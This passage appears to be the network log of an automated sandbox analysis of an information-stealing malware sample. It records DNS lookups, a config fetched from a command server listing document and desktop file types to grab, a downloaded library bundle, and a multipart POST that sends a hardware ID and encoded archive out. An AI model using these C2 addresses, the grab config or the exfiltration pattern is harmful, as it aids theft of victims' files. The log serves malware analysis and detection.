Jan 25, 2023 21:04:38.222259045 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.222316027 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.222332954 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.222381115 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:40.741539955 CET	49717	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:40.741643906 CET	443	49717	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:40.741760969 CET	49717	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:40.742176056 CET	49717	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:40.742216110 CET	443	49717	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:40.808717012 CET	443	49717	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:40.809032917 CET	49717	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:40.831604958 CET	49717	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:40.831655025 CET	443	49717	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:40.837059975 CET	49717	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:40.837093115 CET	443	49717	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:41.099311113 CET	443	49717	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:41.099364996 CET	443	49717	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:41.099415064 CET	49717	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:41.099453926 CET	443	49717	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:41.099469900 CET	443	49717	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:41.099534035 CET	49717	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:41.099534035 CET	49717	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:41.099545002 CET	443	49717	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:41.099574089 CET	443	49717	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:41.099581957 CET	49717	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:41.099610090 CET	49717	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:41.099822998 CET	49717	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:41.102294922 CET	49717	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:41.102313995 CET	443	49717	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:41.316426992 CET	49718	443	192.168.2.6	142.250.203.110
Jan 25, 2023 21:04:41.316488028 CET	443	49718	142.250.203.110	192.168.2.6
Jan 25, 2023 21:04:41.316601992 CET	49718	443	192.168.2.6	142.250.203.110
Jan 25, 2023 21:04:41.317878008 CET	49718	443	192.168.2.6	142.250.203.110
Jan 25, 2023 21:04:41.317898035 CET	443	49718	142.250.203.110	192.168.2.6
Jan 25, 2023 21:04:41.385658979 CET	443	49718	142.250.203.110	192.168.2.6
Jan 25, 2023 21:04:41.389019966 CET	49718	443	192.168.2.6	142.250.203.110
Jan 25, 2023 21:04:41.389081001 CET	443	49718	142.250.203.110	192.168.2.6
Jan 25, 2023 21:04:41.389403105 CET	49718	443	192.168.2.6	142.250.203.110
Jan 25, 2023 21:04:41.389421940 CET	443	49718	142.250.203.110	192.168.2.6
Jan 25, 2023 21:04:41.390147924 CET	443	49718	142.250.203.110	192.168.2.6
Jan 25, 2023 21:04:41.390244961 CET	49718	443	192.168.2.6	142.250.203.110
Jan 25, 2023 21:04:41.391001940 CET	443	49718	142.250.203.110	192.168.2.6
Jan 25, 2023 21:04:41.391185999 CET	49718	443	192.168.2.6	142.250.203.110
Jan 25, 2023 21:04:41.757735968 CET	49718	443	192.168.2.6	142.250.203.110
Jan 25, 2023 21:04:41.757775068 CET	443	49718	142.250.203.110	192.168.2.6
Jan 25, 2023 21:04:41.757972956 CET	443	49718	142.250.203.110	192.168.2.6
Jan 25, 2023 21:04:41.758411884 CET	49718	443	192.168.2.6	142.250.203.110
Jan 25, 2023 21:04:41.758436918 CET	443	49718	142.250.203.110	192.168.2.6
Jan 25, 2023 21:04:41.798880100 CET	443	49718	142.250.203.110	192.168.2.6
Jan 25, 2023 21:04:41.799089909 CET	49718	443	192.168.2.6	142.250.203.110
Jan 25, 2023 21:04:41.806263924 CET	49718	443	192.168.2.6	142.250.203.110
Jan 25, 2023 21:04:41.806330919 CET	443	49718	142.250.203.110	192.168.2.6
Jan 25, 2023 21:04:41.806364059 CET	49718	443	192.168.2.6	142.250.203.110
Jan 25, 2023 21:04:41.806387901 CET	443	49718	142.250.203.110	192.168.2.6
Jan 25, 2023 21:04:47.716124058 CET	49715	80	192.168.2.6	95.217.16.127

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 25, 2023 21:04:27.192399979 CET	59504	53	192.168.2.6	8.8.8.8
Jan 25, 2023 21:04:27.211394072 CET	53	59504	8.8.8.8	192.168.2.6
Jan 25, 2023 21:04:33.384154081 CET	65198	53	192.168.2.6	8.8.8.8
Jan 25, 2023 21:04:33.407202005 CET	53	65198	8.8.8.8	192.168.2.6
Jan 25, 2023 21:04:41.281847954 CET	62910	53	192.168.2.6	8.8.8.8
Jan 25, 2023 21:04:41.310009003 CET	53	62910	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 25, 2023 21:04:27.192399979 CET	192.168.2.6	8.8.8.8	0x2b2e	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Jan 25, 2023 21:04:33.384154081 CET	192.168.2.6	8.8.8.8	0xbf58	Standard query (0)	dl.uploadgram.me	A (IP address)	IN (0x0001)	false
Jan 25, 2023 21:04:41.281847954 CET	192.168.2.6	8.8.8.8	0x8cba	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 25, 2023 21:04:27.211394072 CET	8.8.8.8	192.168.2.6	0x2b2e	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Jan 25, 2023 21:04:33.407202005 CET	8.8.8.8	192.168.2.6	0xbf58	No error (0)	dl.uploadgram.me		92.222.250.82	A (IP address)	IN (0x0001)	false
Jan 25, 2023 21:04:41.310009003 CET	8.8.8.8	192.168.2.6	0x8cba	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 25, 2023 21:04:41.310009003 CET	8.8.8.8	192.168.2.6	0x8cba	No error (0)	youtube-ui.l.google.com		142.250.203.110	A (IP address)	IN (0x0001)	false
Jan 25, 2023 21:04:41.310009003 CET	8.8.8.8	192.168.2.6	0x8cba	No error (0)	youtube-ui.l.google.com		216.58.215.238	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

dl.uploadgram.me

www.youtube.com

95.217.16.127

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49714	149.154.167.99	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49716	92.222.250.82	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49717	92.222.250.82	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49718	142.250.203.110	443	C:\ProgramData\92398908710653760371.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49715	95.217.16.127	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Jan 25, 2023 21:04:27.866538048 CET	117	OUT	GET /408 HTTP/1.1 Host: 95.217.16.127
Jan 25, 2023 21:04:28.152846098 CET	117	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Jan 2023 20:04:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 63 38 0d 0a 31 2c 31 2c 31 2c 31 2c 31 2c 30 35 35 37 33 30 37 35 39 37 31 33 63 30 65 64 63 36 61 34 61 30 65 31 34 33 30 37 66 31 37 32 2c 31 2c 31 2c 31 2c 31 2c 30 2c 44 65 66 61 75 6c 74 3b 25 44 4f 43 55 4d 45 4e 54 53 25 5c 3b 2a 2e 74 78 74 3b 35 30 3b 74 72 75 65 3b 6d 6f 76 69 65 73 3a 6d 75 73 69 63 3a 6d 70 33 3b 64 65 73 6b 74 6f 70 3b 25 44 45 53 4b 54 4f 50 25 5c 3b 2a 2e 74 78 74 3a 2a 2e 64 6f 63 3a 2a 2e 64 6f 63 78 3a 2a 2e 78 6c 73 78 3a 2a 2e 78 6c 73 6d 3a 2a 2e 78 6c 73 3a 2a 2e 70 70 74 78 3b 39 35 30 3b 74 72 75 65 3b 6d 6f 76 69 65 73 3a 6d 75 73 69 63 3a 6d 70 33 3a 65 78 65 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: c81,1,1,1,1,055730759713c0edc6a4a0e14307f172,1,1,1,1,0,Default;%DOCUMENTS%\;.txt;50;true;movies:music:mp3;desktop;%DESKTOP%\;.txt:.doc:.docx:.xlsx:.xlsm:.xls:.pptx;950;true;movies:music:mp3:exe;0
Jan 25, 2023 21:04:28.175339937 CET	117	OUT	GET /get.zip HTTP/1.1 Host: 95.217.16.127 Cache-Control: no-cache
Jan 25, 2023 21:04:28.234853029 CET	119	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Jan 2023 20:04:28 GMT Content-Type: application/zip Content-Length: 1565849 Connection: keep-alive Last-Modified: Fri, 01 Jul 2022 07:59:49 GMT ETag: "62bea975-17e499" Expires: Thu, 26 Jan 2023 20:04:28 GMT Cache-Control: max-age=86400 X-Cache-Status: HIT Accept-Ranges: bytes Data Raw: 50 4b 03 04 14 00 00 00 08 00 10 6e 55 53 4b 12 b5 9b e9 b5 00 00 48 47 01 00 10 00 00 00 76 63 72 75 6e 74 69 6d 65 31 34 30 2e 64 6c 6c ec fd 0b 40 54 d5 d7 30 0e 9f 61 06 18 71 60 46 05 45 45 1d 15 6f e1 65 98 e1 3e c3 55 06 f1 82 0e 22 e0 0d 11 b9 38 10 02 c1 39 a8 29 8a 0e 94 e3 69 ca 5f 59 59 59 69 5a 3f 2b 2b bb 99 99 19 88 09 98 29 5e 2a 4b 2b 34 ab 83 43 8a 46 80 4a ce b7 d6 3e 67 60 50 e9 79 9e f7 ff 3e ff f7 7b bf ef 41 f7 39 fb ba f6 da 6b af b5 f6 da fb ec bd 27 61 e1 16 4a 4c 51 94 04 9c cd 46 51 07 28 fe 2f 8a fa 8f ff 5a c0 79 8c 38 e8 41 7d d4 e7 eb 91 07 44 b3 be 1e 39 cf 98 5b a2 2c 2a 2e 5c 5e 9c b1 42 99 99 51 50 50 48 2b 97 65 2b 8b 99 02 65 6e 81 32 76 4e 92 72 45 61 56 f6 64 77 77 37 5f 01 86 e8 d6 ae d9 fa 6d 5f 0f b3 bb 1b 92 51 c3 a6 c1 7b 56 e3 92 61 b3 49 dc 89 61 f9 f0 de 7e bb de 27 99 bc 4f fa a4 90 77 9d 4f 34 79 7f e9 93 4e de 5f fb c4 92 b7 7a 18 ff 3e 45 c2 73 73 33 8d 08 d7 8e b3 41 4f 51 b3 44 ce 94 2c 64 dc 02 7b 5c 23 35 6a 64 5f 91 47 5f ea 2a 04 94 42 e4 bb e0 14 04 43 8a f8 d0 ef 44 51 2e f0 72 a3 f8 37 f9 8b 12 11 e2 1d ea e7 04 74 8c 8a 26 85 14 14 d5 fd e6 5f fb 80 58 9e 7d 28 aa 4a 21 a2 9e c0 48 a5 88 92 4a 1c 88 29 15 51 f1 91 f0 56 89 a8 ad 50 c1 be 11 14 15 42 f5 fe c7 8d b8 a7 8f 00 ee a1 7f c8 3f 99 ce 5e 45 c3 fb 68 93 80 d0 55 a1 d3 1d fe a0 e9 4b 27 67 65 d0 19 e0 8f 25 0d 14 91 36 53 d7 1c 73 91 7a ab 26 e7 f2 19 0f 38 f3 75 13 82 b4 dc 97 2f 6a 72 71 49 71 26 36 4f 82 15 08 f9 da 1e 94 2f 3b bf 30 93 22 6d 47 1a 50 32 78 77 de 97 2f 86 fa 9f bf ff ad 7f 45 63 e1 d1 00 0f 51 0b fa b6 8c 43 3a 8f c7 b8 87 30 d9 0f 45 06 1f 5b f0 b1 03 1f fb f0 51 85 8f 06 7c 28 27 62 87 e1 23 0a 1f 8d f8 50 4c c2 54 7c 50 93 31 88 8f a5 f8 68 51 63 89 00 8a e2 99 5b 15 8a f0 c2 30 a8 43 1f 3e a8 70 2c 11 81 25 f0 51 85 8f 46 7c 50 28 1d e5 f8 58 8a 8c 5f 14 8b 09 f8 a0 f4 58 39 3e 8a 88 2f 0e 71 c6 c7 52 7c 6c c1 07 35 0d eb c5 47 14 3e 96 e2 43 35 1d e1 cd 44 4c f1 d1 82 0f 6a 16 e6 c3 47 14 3e ca 49 30 01 d1 c0 47 d1 9b 18 87 8f 2d f8 d8 87 8f 2a e2 7b 0b f3 bd 8d 40 f1 11 85 8f a5 f8 28 22 c1 bd 58 02 1f 0d 7b ed 9a 65 3c 3c 44 1d f8 90 ec 83 87 6a 1f 82 c2 87 f4 7d 2c fb 01 12 1b 1f ca 0f 11 28 3e 12 f1 f1 1c 3e a8 8f a1 44 d1 7e 24 d3 67 48 83 06 04 7f 1a 83 df a1 ef 22 36 e6 47 2c fb 33 82 6a 44 0c 7e 45 5c f0 b1 f4 37 28 bb 03 1f 0d bf 61 02 87 a0 50 15 18 ac 58 a5 b5 07 6f d8 b5 5f b9 92 52 40 26 85 ca 49 a4 28 07 47 f1 9d ad d8 e3 49 29 ae 80 53 7a 51 0a c5 50 4a e1 0b 2e 0a dc 3c 70 34 b8 bd 10 7f 00 5c 15 b8 13 e0 ce 83 bb 02 ae 05 1c 35 90 52 c8 c0 79 82 f3 01 37 1e 5c 00 b8 88 81 bc d6 8c 82 77 3c 38 03 b8 79 e0 e6 83 5b 0c 6e 29 b8 2c 70 46 70 f9 e0 56 81 5b 0b ae 1c 5c 05 b8 4d e0 9e 00 b7 05 dc 56 70 db c0 6d 07 b7 03 dc 6e 70 7b c0 ed 05 b7 0f dc 47 e0 0e 80 3b 04 ae 0a dc 51 70 75 e0 4e 80 6b 00 77 0e dc 79 70 17 c1 35 82 bb 02 8e 03 d7 0c ae 05 Data Ascii: PKnUSKHGvcruntime140.dll@T0aq`FEEoe>U"89)i_YYYiZ?++)^K+4CFJ>g`Py>{A9k'aJLQFQ(/Zy8A}D9[,.\^BQPPH+e+en2vNrEaVdww7_m_Q{VaIa~'OwO4yN_z>Ess3AOQD,d{\#5jd_G_BCDQ.r7t&_X}(J!HJ)QVPB?^EhUK'ge%6Ssz&8u/jrqIq&6O/;0"mGP2xw/EcQC:0E[Q\|('b#PLT\|P1hQc[0C>p,%QF\|P(X_X9>/qR\|l5G>C5DLjG>I0G-{@("X{e<<Dj},(>>D~$gH"6G,3jD~E\7(aPXo_R@&I(GI)SzQPJ.<p4\5Ry7\w<8y[n),pFpV[\MVpmnp{G;QpuNkwyp5
Jan 25, 2023 21:04:28.234894037 CET	120	IN	Data Raw: 5c 2b e2 3a 08 da 01 ce 13 9c 12 5c 08 b8 58 70 f3 c1 ad 02 b7 0d dc 01 70 e7 c1 75 80 f3 f1 86 3c e0 16 83 5b 0b 6e 37 b8 2a 70 0d e0 ce 81 bb 08 ae 19 9c 62 30 a5 f0 06 e7 0b 2e 00 9c 01 5c 11 b8 6d e0 aa c0 71 e0 3c 87 40 9f 80 9b 07 6e 15 b8 Data Ascii: \+:\Xppu<[n7*pb0.\mq<@n52UEtnavYFVptffvI40?MWM+,e^],Q0Et0.18;# X'kuA#3KV4$JgTKMVP%\xgR
Jan 25, 2023 21:04:28.234914064 CET	121	IN	Data Raw: 05 db 03 72 85 08 6f ff 20 fe ad 51 f3 ef a0 00 21 5e 4d 96 41 74 0c 6f c8 46 50 7c 5d fe 41 88 29 ef d7 a8 79 ff 4a 0c 80 37 3d 7d 65 50 00 e0 94 3c 7b e6 ec 39 a9 b3 29 3b 35 48 f7 a2 fc 39 10 63 29 63 37 90 33 4b 98 71 48 3b 34 80 29 8a ef 48 Data Ascii: ro Q!^MAtoFP\|]A)yJ7=}eP<{9);5H9c)c73KqH;4)H(CD)OL/.`V8XIQ\|]n,@Ehf}3aEe.H%?0g;`@4WP?s>_JK7W(J!Wt{4F
Jan 25, 2023 21:04:28.234926939 CET	122	IN	Data Raw: fe b6 e9 51 e0 30 ec 94 2c 5f 29 95 13 1a eb 2b a5 fb e7 84 ba 32 2e e2 bb e2 93 d6 67 20 43 31 64 60 8f 34 2d 84 32 f2 ca df a1 e1 a4 61 d7 2f 40 77 42 db 1d 79 ad b1 27 af f9 01 26 f2 f1 35 c0 66 90 9f 39 01 ac 06 ef ef aa a0 eb 9d 11 9f b3 02 Data Ascii: Q0,_)+2.g C1d`4-2a/@wBy'&5f9,h@s&G h!5?Sfk{P+X$W5@Fh3"S]qC+4VF+rBZlV[W@ -%:_-"'@_[^]$, ;0[%+>Xc
Jan 25, 2023 21:04:28.234945059 CET	124	IN	Data Raw: 77 5f a7 14 6c b5 81 3b ed 85 9c 03 f0 5a ad 7d d8 84 56 16 a8 a9 ef b0 13 69 af c8 4e a4 d7 44 ff 48 24 13 24 87 a6 cb e4 8f e1 94 c9 92 70 2e d1 92 c0 25 42 67 7b a7 72 8d 1f 60 1b 38 d3 51 4f 6d f2 39 b9 e9 27 cc 10 af 80 4a cc 09 17 2d 0b 5a Data Ascii: w_l;Z}ViNDH$$p.%Bg{r`8QOm9'J-ZiulZKhtw*uTfvug\v:ZS+_1'4O~R4sO`lr#Xn<dZxJe:6M>a7g\|6P6 i+F6"4!TiN
Jan 25, 2023 21:04:28.234966993 CET	125	IN	Data Raw: a6 3e da 1c af 64 ab ef 99 6c a0 fd ae 30 2a ae 01 43 64 81 d6 d1 5c 00 46 60 e3 25 38 37 eb 0b 9d 12 b2 40 2a af 70 42 85 61 90 82 be 97 86 7a cb 2d 64 06 2f 65 19 59 65 fd 2a 67 d3 31 99 f8 a6 39 ad 93 2d f3 ac a8 5f 3d 06 74 01 ad dc 89 53 05 Data Ascii: >dl0Cd\F`%87@pBaz-d/eYe*g19-_=tS2<l5-[gKG[2MjHNis()Y?e[i+N1S"(z!qHuzh73n&\|R<"e+nsQL55X=-bql6S
Jan 25, 2023 21:04:28.234987020 CET	126	IN	Data Raw: d1 60 e7 25 a5 b0 3f e0 ea 9e 41 66 4e eb 80 d1 25 15 74 d3 0c 5c 4d 93 6c 36 eb 5b 59 4a 5b 2b af a8 c0 19 54 aa 14 17 d6 bc c3 86 08 13 8f f9 a2 b0 85 38 f1 a8 72 32 1d e9 b9 b0 c6 26 77 02 1d e6 46 6b 4f 16 7f 4a 16 d6 50 0f 02 bc b6 28 b0 2d Data Ascii: `%?AfN%t\Ml6[YJ[+T8r2&wFkOJP(-Au<&p?e7IE2j.,kTo33sB'.0[W=R:uJ5=TMP4QXFSh0rxkNC!I-)78G1LTmZsI
Jan 25, 2023 21:04:28.235021114 CET	128	IN	Data Raw: e5 81 a2 3c 26 56 6e 9f a8 c6 fe f1 54 c6 c9 d0 66 71 27 a1 ee 78 46 ac a9 aa 49 b2 7f 57 ed e0 1e c2 ae 3b 6f ba 63 a3 15 95 17 98 38 d3 71 1b b7 90 87 29 d1 5c b0 06 a5 e4 8d cf 13 d9 bc b6 62 66 1e b9 be ec b7 5c 08 9f a3 af e6 0c 37 c9 09 d7 Data Ascii: <&VnTfq'xFIW;oc8q)\bf\7<'MiE5\|e\lc5c#hD2'D<Lwyu=?R0"hjHe\@kHH{#SR`X4m:cbL1^
Jan 25, 2023 21:04:28.235040903 CET	129	IN	Data Raw: b0 e2 6d b8 ac 06 28 e3 0c 13 4f d9 97 87 13 5e 94 57 3c 8e 39 20 41 60 4e 03 32 0d 74 8d af 79 31 b0 57 d3 3c 01 2a 61 9f c5 24 c5 bb 3c 24 0a 12 7d e4 15 5b ed c0 b5 00 dc b8 0d b8 90 c5 8d 42 80 99 2f 81 12 0b 10 fe 48 22 f5 2a 91 5b 31 82 8d Data Ascii: m(O^W<9 A`N2ty1W<a$<$}[B/H"[1%Jog9s<htD% BC%D(?<iv^LPFf4 @D_!1M^q4(w+kuM9q9YgUcc+0k3d<_ojxG_c+wD
Jan 25, 2023 21:04:28.235063076 CET	130	IN	Data Raw: 0a 11 2f 60 60 52 82 13 0b 92 91 c7 0b 0f 57 8f 2b 77 75 dc a3 33 78 e5 e5 c9 5d 9e d5 33 c3 1e 3e c3 82 ae 0c d5 f7 64 78 9c cf 10 d2 95 61 87 90 41 7d 26 6f 02 9f e5 34 9f c5 ab 2b 4b 19 64 c9 1b 97 4a 2c 21 db 74 68 82 ed 0e 4c e9 cf 90 cc 6f Data Ascii: /``RW+wu3x]3>dxaA}&o4+KdJ,!thLoS.B@hQ8^v=sAl/o@7%6F.E$'':"0P_{1vbJaR"\|'] `D}h1"Ie13
Jan 25, 2023 21:04:28.272833109 CET	132	IN	Data Raw: 5f 70 28 56 dd 58 78 90 a9 f0 5b d0 31 4d df e0 7a 85 6a 6d a8 2e 74 7d 20 b1 86 a6 44 bf c0 e7 9c 6b a8 b4 d1 83 b1 46 36 12 77 37 7f 87 28 fe 10 0e f3 ab 26 b2 fe 90 70 a5 09 ad 51 cd 19 3c 93 d2 01 64 0d 04 f2 be a1 8b 5e 3b 5b 67 58 3f 43 be Data Ascii: _p(VXx[1Mzjm.t} DkF6w7(&pQ<d^;[gX?C;CBFW"yA\!4omc+w@Bt02I%_["3X$]J)!4Fs'/\|!n=Rc#\dmRXJ
Jan 25, 2023 21:04:31.781537056 CET	1772	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----0807260995325012 Host: 95.217.16.127 Content-Length: 140503 Connection: Keep-Alive Cache-Control: no-cache
Jan 25, 2023 21:04:31.781641960 CET	1783	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 38 30 37 32 36 30 39 39 35 33 32 35 30 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 72 6f 66 69 6c 65 22 0d 0a 0d 0a 34 30 38 0d 0a 2d 2d 2d Data Ascii: ------0807260995325012Content-Disposition: form-data; name="profile"408------0807260995325012Content-Disposition: form-data; name="profile_id"239------0807260995325012Content-Disposition: form-data; name="hwid"fcc4f680a22
Jan 25, 2023 21:04:31.820008039 CET	1802	OUT	Data Raw: 53 39 53 70 70 44 4d 39 72 66 42 39 68 63 5a 37 79 79 57 36 4f 37 4e 4a 39 41 57 2b 38 6f 39 4b 70 7a 71 79 69 69 36 30 66 78 43 30 33 45 74 56 51 79 2f 36 59 74 2f 6a 5a 48 56 62 4f 33 61 58 6b 31 49 48 38 4e 57 48 51 78 35 44 50 69 4b 76 52 71 Data Ascii: S9SppDM9rfB9hcZ7yyW6O7NJ9AW+8o9Kpzqyii60fxC03EtVQy/6Yt/jZHVbO3aXk1IH8NWHQx5DPiKvRq3WbrdxNNEz//fkDUEsDBBQAAgAIAJyoOVZQTgGNhAIAAAIEAAAQABEAL0JXRVRaRFFESUIueGxzeFVUDQAHXpnRY16Z0WNemdFjDZNLjkUhCETnnbxFoeBfUfG//4X0HTAgwUCdKtWm8bChV4pqzITceoIQTkeV0C
Jan 25, 2023 21:04:31.820221901 CET	1807	OUT	Data Raw: 59 52 55 6d 74 30 69 50 55 54 31 50 4e 72 6c 79 78 44 64 65 63 32 39 66 36 45 6a 70 6e 4d 75 67 74 36 32 56 68 4a 55 77 31 63 79 7a 72 6a 61 35 63 57 4f 76 79 38 66 49 4c 39 59 78 34 68 73 37 37 53 53 4b 52 67 73 4e 62 71 51 37 36 32 70 52 57 72 Data Ascii: YRUmt0iPUT1PNrlyxDdec29f6EjpnMugt62VhJUw1cyzrja5cWOvy8fIL9Yx4hs77SSKRgsNbqQ762pRWrSmJ0VMn9/8emjSl432aIDvpdzdB80svWi+8xSa8Slhzlqg/MmbExZSt/qTieKkh7/Dl6kxPTqd4KgeHFrdsbdURu1u+fcFd9/eH149YNhHz/UpgTRltfj7myLfsn5NII7un3e0pPD3Y5MsXMSi/ILzd/kL9nIk0nX
Jan 25, 2023 21:04:31.858509064 CET	1818	OUT	Data Raw: 75 53 6d 31 46 55 6b 76 43 56 32 32 43 64 34 4b 69 59 56 71 4d 33 66 48 72 56 45 78 36 61 6a 37 61 6b 30 55 44 43 57 2b 43 6e 54 57 49 72 74 62 79 47 6d 58 6a 46 49 48 75 31 74 6c 38 33 4e 34 38 2f 46 57 36 56 32 72 34 68 2f 6d 4a 46 77 33 43 41 Data Ascii: uSm1FUkvCV22Cd4KiYVqM3fHrVEx6aj7ak0UDCW+CnTWIrtbyGmXjFIHu1tl83N48/FW6V2r4h/mJFw3CAuaghwAroKW6q0J0hnSAFSMmgKtGhSTpuC7DPxAl13apQ65Ow/Ec2PGvtykHEuTJQBBdUGGMyz/3zCCzbRKJdj/WpgywwBm0btMOMngk3jfS1Y20RQsgZhKFslRZQ2fec620tIDvzrjiCYBsFKBVzhOR8NxoORgJK5
Jan 25, 2023 21:04:31.858589888 CET	1828	OUT	Data Raw: 4d 4b 55 54 67 51 2b 53 42 5a 48 5a 42 36 35 72 70 52 73 68 53 36 36 4f 34 2b 55 58 76 32 69 70 4c 72 49 52 4b 35 4b 6d 68 77 45 4b 4d 36 6e 4f 57 6f 2f 63 77 35 47 43 6e 79 48 41 72 51 4d 58 56 6d 30 76 67 5a 4e 71 48 42 50 70 6f 30 49 57 55 66 Data Ascii: MKUTgQ+SBZHZB65rpRshS66O4+UXv2ipLrIRK5KmhwEKM6nOWo/cw5GCnyHArQMXVm0vgZNqHBPpo0IWUfxS+h+XYthpUpyy52PGMkRSCaBjkj0fL0ucxZILDESQMlTUlczollUFT4MchTjidoqmL6ejAV/0z0PMk0BcMlRtaVuGu73T1Pq/Ju+z8WKEaOQcTR2Yeu03T/3SyogLuG2BTWDttkA8WJGEg2vINHWnvK/dSb+wRGR
Jan 25, 2023 21:04:31.858648062 CET	1833	OUT	Data Raw: 4c 69 42 38 34 38 63 35 2f 61 4c 6a 52 39 53 71 6a 32 77 68 6d 61 77 46 59 2b 44 53 4c 43 61 38 36 78 38 48 72 7a 6e 79 55 42 4d 36 79 50 2b 58 67 54 49 63 71 79 61 30 48 58 45 72 2f 75 6c 48 49 59 35 47 6e 6b 75 71 6c 45 71 46 5a 34 56 71 59 38 Data Ascii: LiB848c5/aLjR9Sqj2whmawFY+DSLCa86x8HrznyUBM6yP+XgTIcqya0HXEr/ulHIY5GnkuqlEqFZ4VqY8UI3Rf10cJoZTp3mc4CdMXRd6THj01KbFvDXtFD9VeHT0ViSPlCKXB/t0BIlttpFUqNxRpEcIndnWjn2r0cA0Oc6Uljq9TsDWPlu9ZZbwrfsaQWugxZTSyZJXXyNMyY+bnhnPMGCOR+53kg2JYWzff4vDrkVtQs8iL
Jan 25, 2023 21:04:31.858648062 CET	1838	OUT	Data Raw: 7a 33 4c 65 62 43 37 66 54 37 67 52 42 66 56 36 33 75 43 48 38 6c 4d 76 6a 65 38 69 44 50 6a 6d 2f 63 70 79 74 56 5a 36 66 50 39 50 35 6f 43 6d 30 66 5a 57 7a 63 66 74 59 35 31 70 56 64 30 68 37 75 59 6f 42 2f 30 58 61 36 73 36 65 5a 65 50 55 65 Data Ascii: z3LebC7fT7gRBfV63uCH8lMvje8iDPjm/cpytVZ6fP9P5oCm0fZWzcftY51pVd0h7uYoB/0Xa6s6eZePUeuWnAWPQpNRyNClb7F+0YQmN1sWzEf5k2/gh2V2EocLCwbf3nUrCOOOGYojW6kJIpdefunbs8tt96q3soXp9AyxWtMmOmlBOm7wqsLWvtfH7bW+BfrY8ommSYzSFtNv1VcGWx+gxyJ0/0iJBFkYZyeGnpPb+uZ9azI
Jan 25, 2023 21:04:31.858680010 CET	1843	OUT	Data Raw: 56 43 41 4c 35 33 35 38 42 65 4d 48 64 2b 6d 57 70 5a 67 76 42 59 37 79 47 36 78 46 32 30 66 55 34 50 59 66 65 6c 61 45 54 54 4b 4f 49 4d 34 6e 43 35 68 33 50 6c 59 2f 48 33 62 61 71 44 5a 62 51 2f 42 76 62 30 72 54 45 56 75 32 6e 44 4a 48 6d 68 Data Ascii: VCAL5358BeMHd+mWpZgvBY7yG6xF20fU4PYfelaETTKOIM4nC5h3PlY/H3baqDZbQ/Bvb0rTEVu2nDJHmhdQzlg8oL3vXxXfHtC0iBbERtpL6kU70Y6byHm6mgE3aJEx5HQN3nydJmxtCj7GdyjOWGJKqwC3a+uNbagGKppYO2Vq6LxWnxLApEsatWW7ZJVMGFI3+QUr/ziCUI9iwtJmbivCWyskmMgKqFgAW+UxYsAR8YLpHiE
